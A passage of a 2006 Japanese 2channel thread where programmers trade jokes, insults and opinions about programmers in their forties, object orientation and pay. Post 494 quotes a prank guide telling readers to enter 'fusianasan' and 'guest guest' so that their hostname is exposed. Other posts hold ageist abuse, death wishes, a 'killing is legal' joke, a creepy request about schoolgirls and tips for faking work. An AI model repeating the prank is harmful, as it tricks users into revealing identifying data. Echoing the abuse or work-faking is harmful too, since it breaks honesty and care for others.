483 ：仕様書無しさん：2006/05/18(木) 23:19:29

コボラーは今や希少価値が出てきているからな

484 ：仕様書無しさん：2006/05/31(水) 21:58:40

４０代？使えないよ、アホが！！！

485 ：仕様書無しさん：2006/05/31(水) 22:30:19

↑と４０代ＰＧに使われてる駆け出しが言ってますｗ

486 ：仕様書無しさん：2006/06/01(木) 23:24:33

歳食ってくるとマシンパワーとツールに頼るようになるので、
意外に若い奴より環境が新しかったりする。
Java 5.0 と eclipse 3.1 Tomcat 5.5 を使ってるのは職場で漏れだけ。

487 ：仕様書無しさん：2006/06/02(金) 10:36:42

うまれてすいません。

488 ：仕様書無しさん：2006/06/02(金) 10:40:36

このまえ、40才になりました。
プログラマー35才定年説というのが昔ありましたが、やはり100%ウソだった
ことが更に証明されたわけですが、たいしてうれしくはありません。

489 ：仕様書無しさん：2006/06/02(金) 21:28:48

最近の若いもんは、のーたりんが多いな。

490 ：仕様書無しさん：2006/06/05(月) 11:50:33

人間とは、若い頃には年寄りから「近頃の若い者は」と言われ、歳を取ると
若い者に対して「近頃の若い者は」と言い出す生き物のことである。

491 ：仕様書無しさん：2006/07/20(木) 01:13:57

４０代PGって、キチガイだろ！！！

おれ？現役で８０代までやるつもりだが、なにか？

492 ：仕様書無しさん：2006/07/20(木) 02:16:42

人の使えない元プログラマーが、４０代プログラマー。
仕方なく、コンピュータに大半の作業をやらせている。

そのためのプログラミングが仕事。今さらながら、こんな強力な部下はいない。

493 ：仕様書無しさん：2006/07/20(木) 03:43:14

記憶媒体がフロッピーでなくカセットテープの頃ってどんな感じでした？
小さい頃叔父のパソコンで線引きゲームみたいなのをした記憶があるのですが

494 ：仕様書無しさん：2006/07/20(木) 08:04:45

フジテレビ番組板で見つけたんだが…

極楽山本の淫行ハメ撮り画像が裏2chで流出★その四
1 ：名無しでいいとも！：2006/07/20(木) 01:21:29.16 ID:lPedNt+O
★☆★裏２ちゃんねるへの入り方
１．書き込みの名前の欄に　http://fusianasan.2ch.net/　と入力します。
２．E-mail欄に20歳以下なら「low」21～30歳は「middle」31歳以上は「hight」と入力します。（年齢別調査。)
３．本文にＩＤとパスワードの「guest　guest」を入れて、書込みボタンを押します。
４．メッセージが「確認終了いたしました。ありがとうございます。」に変わればばＯＫ

261 ：http:// jiminto12737.ac.jp.2ch.net/：2006/07/20(木) 07:18:16.53 ID:1k4IXN0h
guest guest

自民党って…これってマジ？釣り？

495 ：仕様書無しさん：2006/07/20(木) 08:21:00

>>494
ちょっと検索した限りでは、自民党関連はjimintoではなくjiminを使ってる様だけど？

496 ：仕様書無しさん：2006/07/22(土) 15:38:50

バカだと思われるからもうやめろ

497 ：仕様書無しさん：2006/07/24(月) 01:50:43

４０代programなんていねーよ。
SEなら分かるがそれも４０代前半が限界だろ？

498 ：仕様書無しさん：2006/07/24(月) 01:58:12

じゃあその後はどうなるの？
廃棄場に行くの？
それともリサイクル施設で新品若者に生まれ変わるの？

499 ：仕様書無しさん：2006/07/24(月) 02:03:36

オブジェクト指向に乗っ取って、ガベージコレクトの対象となります。

500 ：仕様書無しさん：2006/07/24(月) 09:24:23

>>497
俺、そうなんだけど…

501 ：仕様書無しさん：2006/07/24(月) 13:27:52

>>500
私もそうだけど

502 ：仕様書無しさん：2006/07/24(月) 16:25:58

>>499
OOPとガベコレは無関係ですが、何か？

503 ：仕様書無しさん：2006/07/24(月) 20:46:56

俺様のオブジェクトチンコがガベッジコレクションされてしまった。

504 ：仕様書無しさん：2006/07/25(火) 00:46:06

こんな40代はイヤだの例でした

505 ：仕様書無しさん：2006/07/25(火) 03:28:52

OOPとガベコレは無関係か？

506 ：仕様書無しさん：2006/07/25(火) 11:19:47

>505
どう見ても無関係だろ？ポインタの概念が理解ができず、自分で作ったオブ
ジェクトを管理する手法すらできない厨房のために、厨房御用達言語のJava
やVBにはガーベージコレクションがある。

507 ：仕様書無しさん：2006/07/25(火) 22:44:42

VBにもあるんだ

508 ：仕様書無しさん：2006/07/25(火) 23:49:36

関数型言語にもガベージコレクションはあるよ。
oopとは全く無関係。

509 ：仕様書無しさん：2006/07/26(水) 06:50:09

>>504
おまいのエロ動画コレクションよりははるかに有意義だと思うがね

510 ：仕様書無しさん：2006/07/27(木) 18:03:41

>>507
そもそも BASIC にもあるがな。

511 ：仕様書無しさん：2006/07/28(金) 22:13:29

４０代半ばだがまだ引退は早いか？

512 ：仕様書無しさん：2006/07/28(金) 22:43:15

BASICのガベコレも知らないなんて本当にJava厨は業界のゴミだな。
ガベコレがJavaの専売特許と思ってやがる。そんなものは何十年も前からあるんだよ。

513 ：仕様書無しさん：2006/07/28(金) 23:37:43

すげぇ

514 ：仕様書無しさん：2006/07/29(土) 00:05:06

４０も過ぎて役職ついてんのに
がりがりコーディングしてんじゃねえよ

ドキュメントもかかねえ。仕様書もかかねえ。って書き方今までやったことねえから
知らないんだろな

ソースみりゃＶＢなのにＣＯＢＯＬか？みたいなキタネエノ書きやがって
これをプロトタイプにパッケージ作れって言うから笑わせる
こんなの参考にするくらいなら、自分で最初から作らんと保守で地獄見るのはこっちだ
こんなのを１年かけて作ってる意味がわからねえ
Visioで画面イメージでもお絵かきしてもらったほうが遙かにマシ。

515 ：仕様書無しさん：2006/07/29(土) 01:03:49

VBのガベージコレクションは　一応任意に呼び出せる。　
フル（全階層）で使うと流石に重いけどね。

たまに呼び出すと吉、ループ処理に入れると( ﾟДﾟ)ﾏｽﾞｰ

516 ：仕様書無しさん：2006/07/30(日) 14:25:05

はっきり言おう、某プロジェクトが燃えるのは１０月からだ。

517 ：仕様書無しさん：2006/07/30(日) 14:39:43

じゃあ燃える前に頑張ればいいじゃんw

518 ：仕様書無しさん：2006/07/30(日) 15:42:52

４０代ＰＧに「頑張る」という言葉はない。

519 ：仕様書無しさん：2006/07/30(日) 16:41:06

頑張ったように見せかける技術が最強、と

520 ：仕様書無しさん：2006/07/31(月) 02:42:44

こないだ41になりますた。MS関連ツールでしかモノ作りやりません。

Java なんか知りません。
無能といわれようとなんだろうと、忘れた頃に責任取らされるのはヤです。
アプリがトロイとクレーム付けられても俺のせいじゃない！仕様通りに動い
てます。

そんでCだC++だCOBOLだVBだC#だって別に言語にこだわらんけど、40代の頑張るは
方針決めです。
確かに土方で火消しもやるけど DOT NET では棟梁レベル目指します。ガリガリ
書きます。
ただし、本数コーディングは断ります。部品使いまわしできんと意味なしですから。

521 ：仕様書無しさん：2006/07/31(月) 02:47:57

520のぐだぐだ・・眠れんのだよ

１．コーディング規約はMSDN･･サンプル規約に準拠する。笑え!
　→ カウンタに意味を持たせない i,j,k 標準、Equal 徹底の偏見意味なし規約は危険すぎだし。
　→ 批判する奴は「MSDN見ないでコーディングしろ」「絶対コピペするな」と申しつける。
　→ その前にUsingとかTryはちゃんと書けと釘さし。
　→ MsgBox MessageBoxについては･･エラー関連は共通ライブラリ化+XMLファイルリストでいくか。

522 ：仕様書無しさん：2006/07/31(月) 02:49:01

520のぐだぐだ・・眠れんのだよ

２．初心者本見てコーディングする若人には勉強会開く。お年寄りにも同じ。
　→ 言語以前にFrameworkの基本知れ。だろ。GC.Collectの意味ですか、
　　 Webサービスですか、ストアドですか云々。

523 ：仕様書無しさん：2006/07/31(月) 02:51:06

520のぐだぐだ・・眠れんのだよ

３．カスタムコントロールとクラスライブラリだけ書く。SQLSV CLR もか。
４．名前空間は階層化する。フォルダ構成も同じにする。
　→ プロジェクトメンバーみんなで書く。手本は当然最初に書く。

524 ：仕様書無しさん：2006/07/31(月) 02:52:36

520のぐだぐだ・・眠れんのだよ

５．サードパーティー製コントロール・ツールは買わない。カネがないんだから。
　→ 調べて考えて自分の物にしろやと。Framework 2.0は使える。
　　 3.0、3.X、4.X 、64Bit 環境でも無難な路線で行く。ビルドエラー・バックログなんていや。

６．同じ40代に気力がなければ外れてもらう。2-30代の気力のある奴を引き入れる。
　→ 幻想に近いか。

525 ：仕様書無しさん：2006/07/31(月) 02:57:50

520のぐだぐだ・・眠れんのだよ

７．フォームに業務ロジック書いたら却下。ライブラリ化を促す。多層化無理な要件か。

８．バッチ処理は紙出し表関連のみにする。極力オンラインで完了。

関わるプロジェクトすべてでこれが出来れば今後10年は安泰・・40代のプログラマは神！
って、ふつうちゃんと開発ルール込みで設計しますがなにか。

[暴走]40代のップログラマ[妄想]おわり。

526 ：仕様書無しさん：2006/07/31(月) 17:39:03

愚痴なら愚痴スレでやれ小一時間（ｒｙ

527 ：仕様書無しさん：2006/07/31(月) 21:32:43

>>520-525
その歳でその日本語じゃPG止まりだろうな。

528 ：仕様書無しさん：2006/08/03(木) 23:48:04

私は、44でＰＧ／ＳＥ
４０台の給料っていくら？（年齢*1万って本当？）
能力評価になってから、ずっとあがらねぇ。
まわりのあの人たちはいくらもらってるんだろ？
コストが高いので、実作業にはあてられないということで、
ずっと、口だけ介入してくるだけの人たちは・・・
（私は、コストが低いので、コーダから設計・見積もり・交渉となんでも
ありです）←押し付けられてるだけ
納期が近すぎて、新人は使えません。
速くできる人に回ってきます。
40台のフリーの人たちは月70万くらいだと思われ。ただし、名前を貸してる会社が
そこからマージン（-10万くらい？知らんけど）をとる。

529 ：仕様書無しさん：2006/08/04(金) 05:03:28

わざわざ、じじいは使わない。
プロパリーダー（３０代女）が「ぴちぴちの若い子がいいな」って言ってたよ。

530 ：仕様書無しさん：2006/08/13(日) 11:34:43

>>速くできる人に回ってきます。
早くできても見せちゃダメだろ。４０杉なのにﾊﾞｶﾃﾞｽｶ?

531 ：仕様書無しさん：2006/08/15(火) 07:58:03

４０杉のPGはﾊﾞｶ、しかも臭い。

532 ：仕様書無しさん：2006/08/15(火) 18:15:24

え、俺は２０代の頃からバカで臭かったよ。
４０越えて急に臭くなったわけじゃあない。

533 ：仕様書無しさん：2006/08/15(火) 18:26:09

バカで臭かったから他の業界に行けずに40まで残ったんだよ

534 ：仕様書無しさん：2006/08/18(金) 03:47:53

もう、いい。休め４０代ＰＧ、もう十分働いた。

つか、単価４０マソでもいいって、いくらなんでも悲惨だろ。
本人はいくらもらうことやら。

535 ：仕様書無しさん：2006/08/19(土) 00:01:09

>>534
40万貰うんじゃボケ～
足りん分は20代が稼ぐんじゃ～

と言いたいところ…

536 ：仕様書無しさん：2006/08/20(日) 02:58:55

藻前ら甘いな。漏れなど４０なりたてだが、これからPGでも組もうかと
入門書買って来て女子大の彼女に学割版.NET買わせて一年後には
ウハウハの予定だぜ。藻前らにはもうそんなパワー残ってねぇだろ？
若い姉ちゃん相手に出来るくらいギンギンだと、今からでも余裕だぜ！
それまでは姉ちゃんが身の回りの世話と下半身の世話は任せとけ
って言ってくれたぜ！加齢臭のするジジイ共はPCよりも庭でも弄ってな！

537 ：仕様書無しさん：2006/08/20(日) 03:27:15

PGを組むのは難しそうだ

538 ：仕様書無しさん：2006/08/20(日) 05:17:29

仕事ができようができまいが、年齢で落とされる。

539 ：仕様書無しさん：2006/08/20(日) 10:48:44

そりゃ、お前の履歴にcobolしか載ってないからだ

540 ：仕様書無しさん：2006/08/20(日) 13:50:39

アトラスコンピュータってどうよ

541 ：仕様書無しさん：2006/08/20(日) 16:39:12

↑ＰＧ１０年経験者４８万以上ってダメだな。ﾎﾞﾘ杉

542 ：仕様書無しさん：2006/08/20(日) 16:59:29

マジレスなんだが、４０台プログラマってマジ使えないだろ。

一緒に仕事したくない。仕事が増える。

デキナイにも関わらず、いい訳ばかりで迷惑千万。

俺のドギツイ罵声が一等両断にしてくれるわ！

543 ：仕様書無しさん：2006/08/20(日) 18:42:23

40台ならまだいいが50台だと資料もロクに作れん世代だぞ

544 ：仕様書無しさん：2006/08/20(日) 19:39:35

>>542
っるっせぇーーーー、糞餓鬼。
お前のマネジメントがタコなんだよ。
デスマって、死ねや。
漏れはもうすぐトンズラじゃ。

545 ：仕様書無しさん：2006/08/20(日) 20:51:48

>>543
>40台ならまだいいが50台だと資料もロクに作れん世代だぞ
昔の人の方が中間成果物とかきっちりしていると思うが。

546 ：仕様書無しさん：2006/08/20(日) 21:02:43

なんぼのもんじゃい！>>542

547 ：仕様書無しさん：2006/08/22(火) 23:45:06

また、４０代ＰＧ入った。
そんなに安いのかな？

548 ：仕様書無しさん：2006/08/23(水) 16:31:25

世代によって全体の傾向はあっても、
優秀さは年齢関係無く個人の問題。

549 ：仕様書無しさん：2006/08/25(金) 08:15:17

４０代以上のSE.PGなんぞ、使い物にならん。
旗ふりでもやれ！！！
ばかものが！！！

550 ：542：2006/08/25(金) 23:40:02

551 ：仕様書無しさん：2006/08/25(金) 23:51:26

もう用事がない時は会社にいかね。じゃね。

552 ：仕様書無しさん：2006/08/26(土) 00:14:20

単なる虐めの一環として辺鄙な理屈捏ねて虐待を行う
覗き異常者の巣窟には行きたくないよな。

553 ：仕様書無しさん：2006/08/26(土) 00:32:46

たしかに40代PGは使い物にならんかもしれんが
おまいら40代になったら何してるつもり？

554 ：仕様書無しさん：2006/08/26(土) 12:13:26

>>553
左団扇

555 ：仕様書無しさん：2006/08/26(土) 22:19:08

>>549
旗ふりで金くれるなんてオマエ優しいな。

556 ：ore：2006/08/27(日) 01:05:22

つか、４０台以上の奴、いらねーだろ。
この業界では。

使えるのは２０代のみ。

３０代・・・もうそろそろ賞味期限切れ

557 ：仕様書無しさん：2006/08/27(日) 12:52:47

出来ると思っている２０代を傍からみつつ、淡々とプログラミング。
サービス直前で問題爆発して、不眠不休の２０代、面白杉。
だいたい、その頃には４０代ＰＧは契約切られている。
漏れの経験では、マトモにサービス開始になったこたない。

558 ：仕様書無しさん：2006/08/27(日) 16:01:19

４０代プログラマの仕事は、最初が遅いが、プログラムの本数が多いほど、
後のプログラムはほとんど工数がかからずにできる。そこが、２０代の
プログラマと違うところさ。実装期間が、２ヶ月くらいの長丁場だと、
４週目ぐらいから、定時退社せざるえない状況になる。
そんなところから、２０代や、ﾀｺＰＭ，ＰＬから不評を頂くね、漏れの場合。

559 ：仕様書無しさん：2006/08/27(日) 16:46:36

↑そんなことしたら、うちら仕事してないと思われて
切られるじゃないですか。

560 ：仕様書無しさん：2006/08/27(日) 18:38:01

俺は、残業代を稼ぐ為に１時間で終わる仕事を４時間掛けてして
います。

何か？

561 ：仕様書無しさん：2006/08/27(日) 18:44:05

自分の作業が簡単だと悟らせない技術
いいねぇプロフェッショナル

562 ：仕様書無しさん：2006/08/27(日) 18:47:54

>>561
それ重要ｗ
特にコーディング出来ないタコＳＥ　＆　タコＰＬ・ＰＭ
の場合には、途中迄書いたコードをプリントアウトして机の
上に並べれば仕事をしていると思われるｗ
（もう１時間で終わらしてネットやってんだけどねｗ）

563 ：仕様書無しさん：2006/08/27(日) 20:59:52

ちゃんと、帰り間際にセーブし直してるんだろうな？

564 ：仕様書無しさん：2006/08/27(日) 21:06:53

コボラーがあらわれた

565 ：仕様書無しさん：2006/08/27(日) 22:47:45

コボラーに、痛恨の一撃がヒット！！

ー９９９ＨＰ

そして、コボラーは力尽きたのであった。

566 ：仕様書無しさん：2006/08/27(日) 22:49:42

999なんて数値ぜんぜんスッキリしませんよ

567 ：仕様書無しさん：2006/08/27(日) 22:55:58

コボラーにはHigh Valueの方が効くぞ

568 ：仕様書無しさん：2006/08/27(日) 22:56:19

しかもマイナス記号ですらない

569 ：仕様書無しさん：2006/08/27(日) 23:02:32

0C7とかね

570 ：仕様書無しさん：2006/08/27(日) 23:04:38

>>569
多分、それが一番強力だな

571 ：仕様書無しさん：2006/08/27(日) 23:20:39

つか、昨今の４０代はどっぷりオープン系だろ。
Uni系Ｃ言語出身が多いはずだ。
「プログラムは単純にしときなさい、おばかさん」的に
鍛えられた４０代プログラマに２０代が勝てるわけねぇーよ。

コボラーな人生を歩んだオヤジには勝てるかもしれん。
１５年も前にＣＯＢＯＬのオヤジが作った１０００行のＣプログラム
を見てうんざりしたもんだ。

ところが、悪夢は繰り返される、今は２０代がＪａｖａで作ったそれを見てる。

572 ：仕様書無しさん：2006/08/28(月) 00:57:27

漏れ、この調子でプログラマやってると数年後に４０代になるんだが、
オブジェクト指向プログラミングって構造化プログラミングの延長上にある
物だとばかり思ってたんだけど、違うんだろうか。

573 ：仕様書無しさん：2006/08/28(月) 01:13:03

>>572
なぜそう思ったか、思うところを書いてみたら？

574 ：仕様書無しさん：2006/08/28(月) 20:48:53

>>572
延長線上ではないな。構造化は構造化でやって、
それが饅頭の中に入ってる感じかな。

575 ：仕様書無しさん：2006/08/28(月) 20:56:30

あえて言うなら無関係だろう。
単に、構造化の普及して以降に作られた言語は構造化に対応する制御構造を持っているのが
当たり前になっているだけであって、メソッドの中身が非構造化言語のオブジェクト指向型言語
だって作れなくはないだろうが、誰もそんなものは作らないというだけ。

576 ：572　 ◆Noct.F/01c ：2006/08/28(月) 22:29:17

レスｔｈｘ！

ちと考えをまとめて、後で書いてみる。

577 ：仕様書無しさん：2006/08/28(月) 22:47:44

>>572
C++でも分かるように、プログラミング技術としては延長線上にあると思うが、
設計のアプローチが全く違うから、プログラミングができないSEにとっては
別物に見えるらしい。文系SEに強く否定された。

578 ：あ：2006/08/28(月) 22:53:24

つか、プログラミングできないヤツがSEをしているという現状が
驚きｗ

579 ：仕様書無しさん：2006/08/28(月) 23:02:47

>>572
>オブジェクト指向プログラミングって構造化プログラミングの延長上にある
>物だとばかり思ってたんだけど、違うんだろうか。
　構造化設計の情報結合？がオブジェクト指向の考え方のベースになっている
ので、ちゃんと勉強したおっさんであれば前々余裕でついていけると思う。

580 ：仕様書無しさん：2006/08/28(月) 23:05:03

>>578は目立のサイバーテロリスト

581 ：仕様書無しさん：2006/08/28(月) 23:24:38

構造化できないのが大杉、おっさんも、わかいのも。
まぁ、それでも金になるんだな。

つか、クラス一杯作ったって、なんで文句いうかな。>>おやじＰＭ，若ＰＬ

582 ：仕様書無しさん：2006/08/29(火) 00:15:16

「なんで」文句いうかという根拠を問われれば、僕なら以下のように答える。

定性的に：
クラスの数が多い⇒クラス間の連結度が大きい
と言えるから。クラスは開発や保守の単位になることが多いので、
クラス間の連結度が大きいのは不利。

あくまでも、「なんで」文句いうかな？と、文句を言ってしまった後で
僕が問われた場合の答えね。
（そもそも最初の文句が工学的に正しいかとかは、僕はまだ何も言ってない）

583 ：もろに４０代の582：2006/08/29(火) 00:19:41

で、逆に、
クラスの数が少ない＝クラスの粒度が大きい⇒クラス内の一貫性が小さい
ということも定性的に言えるんだよな。

584 ：仕様書無しさん：2006/08/29(火) 00:27:51

過ぎたるはなお及ばざるが如し

585 ：572　 ◆Noct.F/01c ：2006/08/29(火) 01:10:05

レスｔｈｘ！

>>579の考えに近いような気がする。

構造化プログラミングは、基本である連接、判断、反復の三つの基本制御構造、
モジュール化を用いてプログラムを作っていくんだけど、
オブジェクト指向プログラミングによって、上で作った基本制御構造の塊を
一つの基底制御構造として扱うならば、三つの基本制御構造の上位、上次元の
概念と言えるのではないか？　と思ったんだ。

586 ：仕様書無しさん：2006/08/29(火) 01:41:29

プログラム本数で見積もり、死ね、４０代。

587 ：仕様書無しさん：2006/08/29(火) 01:58:00

>>クラスの数が多い⇒クラス間の連結度が大きい
なんでさ、じじい。ﾊﾞｶｼﾞｬﾈ

588 ：仕様書無しさん：2006/08/29(火) 02:27:26

>>585
基本制御構造はロジックだから、構造化かオブジェクト指向かの違いではなく、
ほとんどのプログラミングにはある。アホ学生レベルの理解でビックリ。

589 ：582：2006/08/29(火) 11:40:47

まあ、レベルが低い話って事は認めるよ。>>587

で、その「なんでさ」にも答えるとさ（質問じゃなくて皮肉だろうけど）、
例えば、従業員クラスとかの１個で十分一貫性が高いクラスを、
無理に５つぐらいに分けてみ。分けられた５つのクラス間の連結度は
めっちゃ高いから。

俺たち４０代が初めてオブジェクト指向分析設計に触れた
１９８０年代には、まだ十分手法の理解が浸透してなかったから、
そういう５つに分けられたクラスなんてのを作る奴がいたんだよ。

590 ：仕様書無しさん：2006/08/29(火) 11:50:29

>>589
>そういう５つに分けられたクラスなんてのを作る奴がいたんだよ。
OO以前の問題。

591 ：仕様書無しさん：2006/08/29(火) 12:08:42

80年代だとOMTとか出てたっけか。
オブジェクト指向は言語が先行して分析設計手法がついていってなかった気がしますな。

592 ：仕様書無しさん：2006/08/29(火) 14:23:06

>>589
言語仕様の問題かもしれんね。
クラス継承が不完全な言語だと多くのクラスに分ける可能性が高い。

593 ：仕様書無しさん：2006/08/29(火) 15:36:46

でもオブジェクト指向って、ウィンドウシステムのプログラム作れば
だいたいオブジェクト指向風になるんだけどな。Windows や X もそうだし。
特別なツールキットや言語を使わなくてもシステム自体がオブジェクト
指向的に作ってあるよな。にも係わらずいまだにオブジェクト指向が
分からないとか言ってるやつは日頃どういうプログラム作ってるんだ?
小さいマイコン用の組み込みプログラムをCだけで作って小さいROMに
焼いてたりするのか?

594 ：仕様書無しさん：2006/08/29(火) 15:48:54

オブジェクト指向とイベント駆動の区別がつかない人がいるスレはここですか？

595 ：仕様書無しさん：2006/08/29(火) 16:21:58

知識がない物事に関してはそれが目の前にあっても認識することが
できないというのは本当みたいだな。まあそれもそうか。原始人に
携帯電話見せてもそれが携帯電話であると認識できるわけもないし。

596 ：仕様書無しさん：2006/08/29(火) 16:28:06

オブジェクト指向の知識のない者にオブジェクト指向のプログラムを
見せてもそれがオブジェクト指向のプログラムであると認識できない
のは当然のことだ。

597 ：仕様書無しさん：2006/08/29(火) 17:01:43

>589
なんでもありの「従業員」クラスを使いまわして、「アルバイト」「平
社員」「役員」「部長」「社長」を全部同じオブジェクトでメンバ変数
のフラグによって動作を変えるのが、オブジェクト指向的か？

それとも、「雇用者」仮想基本クラスから、「アルバイト」「平社員」
「役員」「部長」「社長」などのクラスを派生させ、例えば「働く」
というメンバ関数を仮想関数で定義して、オブジェクトのインスタンス
によって「働く」という動作を多態化させるのが、オブジェクト指向的
なのか？

598 ：仕様書無しさん：2006/08/29(火) 17:48:52

>>593
オブジェクト指向風の構造化プログラミングと
オブジェクト指向の違いを問われているわけだが。

599 ：仕様書無しさん：2006/08/29(火) 18:02:05

昔のGUIのプログラミングにオブジェクト指向なんか欠片もねーよ。
ひたすらGetNextEvent()で取ってきたイベントの種類で処理を分岐してくだけのプログラム。
構造体は使うがカプセル化も継承もなーんにもありゃしない。
まーよくあんな環境でやってたもんだ。

600 ：仕様書無しさん：2006/08/29(火) 18:16:18

>>599
そんな昔のGUIの話は誰もしてない。

601 ：仕様書無しさん：2006/08/29(火) 18:17:45

ウィンドウシステムとオブジェクト指向は無関係だと言っとるだけだ。

602 ：仕様書無しさん：2006/08/29(火) 19:25:52

>>601
GCはオブジェクトだ。

603 ：仕様書無しさん：2006/08/29(火) 19:34:47

604 ：仕様書無しさん：2006/08/29(火) 19:45:53

はいはいw

605 ：仕様書無しさん：2006/08/29(火) 21:04:02

お笑いだな

606 ：572　 ◆Noct.F/01c ：2006/08/29(火) 22:50:25

設計上は物凄くメリットがあるだろうオブジェクト指向プログラミングも
アセンブラレベルでは効率的にＣで組んだ物のほうが見やすいし効率的だ。
関数呼んで条件分岐してインデックス計算してと要らん手間が多い。
ニモニックでもオブジェクト指向プログラミングできるようにすべしｗ

607 ：仕様書無しさん：2006/08/30(水) 10:22:30

うはwバカ発見www

608 ：仕様書無しさん：2006/08/30(水) 21:53:50

４０代PG？速攻で吊ってくれ。
潔く、タクシードライバー、トラックドライバーに転業しろ！！！

ばかジジイでもが！！！

609 ：仕様書無しさん：2006/08/30(水) 22:06:43

>>608
デモ乙

610 ：仕様書無しさん：2006/08/30(水) 22:27:37

>>593
>小さいマイコン用の組み込みプログラムをCだけで作って小さいROMに
>焼いてたりするのか?

ちょっと違うアセンブラも使う、２５６～５１２ワードでもちゃんと使えるものもあるよ。

611 ：仕様書無しさん：2006/08/30(水) 22:36:23

C言語なんて用意されてないターゲットもあるよね
RAMが128バイトのとか
マウスのファームウェアとか作ったことがある

612 ：仕様書無しさん：2006/08/31(木) 00:45:17

今夜も隠れ家のような仕事を片付けるか・・・

613 ：仕様書無しさん：2006/08/31(木) 03:10:14

>>608
でもが

614 ：仕様書無しさん：2006/09/01(金) 17:45:19

>>608
早くキーボードの使い方を覚えないと
コンパイルエラー消えないよ。

615 ：仕様書無しさん：2006/09/01(金) 21:07:10

>>608
はやく一人前のパンチャーになってね。

616 ：仕様書無しさん：2006/09/01(金) 23:05:19

俺は３５歳で引退
これからは普通の人生を歩むつもり

617 ：仕様書無しさん：2006/09/02(土) 00:16:21

>>616
物足りなさを感じたらいつでも戻っておいで。
おまいの席は取っておいてやるからな。

618 ：仕様書無しさん：2006/09/02(土) 01:48:52

漏れは戻ってきたぜorz

619 ：仕様書無しさん：2006/09/02(土) 02:18:33

サラリーマンとして定年まで会社にしがみつくのが、
「普通の人生」だと思うが。

620 ：仕様書無しさん：2006/09/02(土) 11:38:06

オブジェクト指向とは何か？

宗教です。工学ではありません。

以上。

621 ：仕様書無しさん：2006/09/02(土) 11:47:17

最近宗教が流行ってんの？創価とか？

622 ：仕様書無しさん：2006/09/02(土) 12:28:44

>>618
生きて戻れたか...
さぁ、逝こうか...

623 ：618：2006/09/02(土) 17:31:06

>>622
レスｔｈｘ！

今度の職場は土日休み、内規もゆるくて悪くない。

624 ：仕様書無しさん：2006/09/02(土) 19:15:38

俺「進捗、遅れてますがどうやってキャッチアップしますか、休出という方法もありますが」
４０代ＰＧ「そもそも、スケジュールが間違ってんじゃね」

死ねよ、４０代ＰＧ

625 ：仕様書無しさん：2006/09/02(土) 20:02:28

俺、正直その発言したことあるわ。>>624
遅れの解決には全くなってないね。ごめん。

死ぬかな。でもこれも遅れの解決にはならんか。

626 ：仕様書無しさん：2006/09/02(土) 22:28:06

>>624
まあ、責任取るのは”俺”さんですかね。
上司を相手に４０代ＰＧと同じ事言ってみるとか？

上司「そのスケジュール組んだの　君だよね？」

だいたい、残業してまで帳尻合わす日本の商習慣が間違ってるんじゃね。

627 ：仕様書無しさん：2006/09/02(土) 22:44:20

残業前提のスケジュールしか組めない、間抜けなＭがいるのはココですね？

628 ：仕様書無しさん：2006/09/02(土) 23:33:49

少なくともどう考えても絶対定時で終わらない量の作業があるなら申し訳ないけどやってくださいぐらいの態度取れよ
と思う

629 ：仕様書無しさん：2006/09/03(日) 00:13:12

>>624
スケジュールが間違ってないと証明できない「俺」が先に氏ね。

630 ：仕様書無しさん：2006/09/03(日) 13:05:59

＞　俺「進捗、遅れてますがどうやってキャッチアップしますか、休出という方法もありますが」

４０代ＰＧ「あわてない　あわてない　ひとやすみ　ひとやすみ」

631 ：仕様書無しさん：2006/09/03(日) 13:08:35

スケジュールが間違っていると証明した漏れは神、

プログラム作成は１本２日でね、というスケジュール作ったんで、
作るべきコードをすべて列挙して計算したら、１本９日になった。

全然無理だから退場じゃ、ゴラァの態度を示したら、人増やしてた。
結局、プログラム作り始めたら１本２日もかからなかった。
でも、他の人は夜遅くまでやってるしいいよね。

632 ：仕様書無しさん：2006/09/03(日) 16:03:36

>>624
本当に間違ってるんだろ。w

633 ：仕様書無しさん：2006/09/03(日) 18:06:02

まぁ、624の俺には上から降ってきたスケジュールを調整する権利なんてなさそうだから、
最初にスケジュール聞いた時点で間違ってると言っておかないと、言い訳と言われても
仕方が無い場合もある。

634 ：仕様書無しさん：2006/09/04(月) 01:11:24

４０代PGは、若輩PGを殺しても問題ない。嫌な若輩は殺せよ。
合法だろ？

635 ：仕様書無しさん：2006/09/06(水) 02:07:08

嫌な若輩に、飼われている身なんでな。

636 ：仕様書無しさん：2006/09/06(水) 06:52:32

低脳ワ＊パイは頃す必要はない。頭が悪くても何の罪もない。
管理側が上手く配置するのがスジ。

637 ：仕様書無しさん：2006/09/06(水) 15:25:35

神よ、こんな私に使わなくなったパソコンを譲って下され。

638 ：仕様書無しさん：2006/09/06(水) 15:38:54

神にパソコンは要らない。自分で何でもできるから。

639 ：仕様書無しさん：2006/09/06(水) 16:51:16

では神よ、こんな私に使わなくなったパソコンを譲りあう場を提供して下され。

640 ：仕様書無しさん：2006/09/06(水) 17:35:49

ヤフオクを見なさい。

641 ：仕様書無しさん：2006/09/06(水) 18:09:36

(文句の多い神様だなあ…) では神よ、こんな私に女子中学生を紹介して下され。

642 ：仕様書無しさん：2006/09/07(木) 05:52:23

うーーむ
こんな時間に目がさめて、こんな事やるようになっちまったか・・・

643 ：仕様書無しさん：2006/09/07(木) 06:28:38

ｦﾀはすっこんでろ

644 ：仕様書無しさん：2006/09/08(金) 21:57:21

４０代プログラマなんていねーよ。w

645 ：仕様書無しさん：2006/09/08(金) 22:36:15

そうだねぇ、、、いるとしたらおそらくダメ人間

646 ：仕様書無しさん：2006/09/09(土) 04:09:58

>>644
居る。居るんだよ。

647 ：仕様書無しさん：2006/09/09(土) 04:12:04

志村ー、１０年後１０年後ー！！

648 ：仕様書無しさん：2006/09/09(土) 04:45:11

営業的に言えば、賞味期限の切れた４０代ＰＧはそこそこ売れるんだよ。
単価は安く設定できるし、まぁ同じ値段なら未経験よりいいかと。

649 ：仕様書無しさん：2006/09/09(土) 13:24:09

統計でもソフ工の生産性と経験は殆ど関係が無いらしいしな
知性と勉強する人なのかが大事ってとこ？

650 ：仕様書無しさん：2006/09/09(土) 18:07:35

４０代プログラマです。
月の手取りは５０万です。

負け組ですなorz

651 ：仕様書無しさん：2006/09/09(土) 19:40:41

↑、そんなもんじゃないかな、偽装請負４０代ＰＧって。ｲｲﾎｳｶﾓ

つか、手取り５０マソの社員なら額面５５マソＸナス込み１７ヶ月＝年収９３５マソ（残業含まず）
で超勝組じゃん。

652 ：仕様書無しさん：2006/09/09(土) 19:53:55

>>650
手取りだけじゃ何とも…。
でもいい方だと思うけどな。
少なくとも俺よりは多い。orz

653 ：仕様書無しさん：2006/09/10(日) 05:48:41

>>633
仕方が無い場合もある・・・じゃなくて間違いなく言い訳です

654 ：仕様書無しさん：2006/09/10(日) 11:24:24

